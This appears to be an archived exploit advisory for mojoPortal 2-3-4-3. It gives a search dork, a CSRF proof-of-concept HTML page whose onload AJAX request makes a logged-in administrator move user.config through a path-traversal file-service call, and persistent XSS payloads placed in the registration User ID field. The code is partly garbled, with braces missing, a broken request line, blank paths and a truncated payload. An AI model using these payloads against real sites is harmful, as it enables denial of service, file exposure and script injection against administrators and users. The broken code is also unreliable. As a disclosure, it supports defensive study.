mojoportal Multiple Remote Vulnerabilities

ID 1337DAY-ID-14100
Type zdt
Reporter Abysssec
Modified 2010-09-17T00:00:00


Exploit for asp platform in category web applications

mojoportal Multiple Remote Vulnerabilities

  Title            :  mojoportal Multiple Remote Vulnerabilities
  Affected Version :  mojoPortal 2-3-4-3
  Discovery        :
  Vendor       :
  Demo         :
  Download Links   :
  Detailes         :  Includes Blogs, Forums, Event Calendar, Google Maps, Photo Galleries,
              Chat, ecommerce, Secure File Sharing, Newsletter, Surveys, Polls, and much more.
  Documentaion     :
  Dork         :  "Powered by mojoPortal"
  Admin Page       :
Description :
  This version of mojoportal(mojoPortal 2-3-4-3) have Multiple Valnerabilities :
        1- CSRF Move Files for download and DDOS attack
    2- Persistent XSS
1) CSRF Move Files for download and DDOS attack:
  With This vulnerability you can feed the malicious link to Admin of site (when he is already logged in)
  to move a file with Administrator Privilege.
  In this path you can find a method that move files to any path:

  With this command we can move user.config file to       
  and then we can download it from URL:       
  Vulnerable Code:
        ln 308:   result = fileSystem.MoveFile(srcPath, destPath, false);
  here is  HTML File with AJAX Code for move user.config file to any path that is enough to Admin meet it.
  For this porpuse you can enter your malicious URL in this Path (in Web Site URL field) :
The Source of HTML Page (Maliciouse Link)
  With this page, we send a request with AJAX.
<title >Wellcome to MojoPortal!</title>
This page move user.config file to another path for DDOS Attack and download new file from server.
        function FileMove() {
            //// For Mozila FireFox this code must be writen
            try {
            } catch (e) {
                //alert("Permission to read file was denied.");       
            var http = false;
            //alert(navigator.appName);  //// It Get Browser Type
            if (window.XMLHttpRequest) {
                http = new XMLHttpRequest();     // Firefox, Safari, ...
            else if (window.ActiveXObject) {
                http = new ActiveXObject("Microsoft.XMLHTTP");  // Internet Explorer
            url = "http://localhost:60941/Services/FileService.ashx?cmd=movefile&srcPath=./../../../user.config&destPath=./../../../";
            http.onreadystatechange = done;
  'GET', url, true);
        function done() {
            if (http.readyState == 4 && http.status == 200) {
                //alert('Upload OK');
<body onload ="FileMove();">
2) Persistent XSS Vulnerability:
  In these URL you can see a persistent XSS Vulnerability:
     you can enter this value for User ID and there is sanitization:
    User ID  : user3</title><script>alert('sanitization')</script>
     and register in site.
     When another users see your Profile in this path (for Example):
Then you will receive your alert and script execution.
     Vulnerable Code:
        ln 166:   TextBox txtUserName = (TextBox)CreateUserWizardStep1.ContentTemplateContainer.FindControl("UserName");
     The User ID field is limited to 50 character. As aresult you can for example enter this value:
    User ID  : u1</title><img src="">            

# [2018-02-10]  #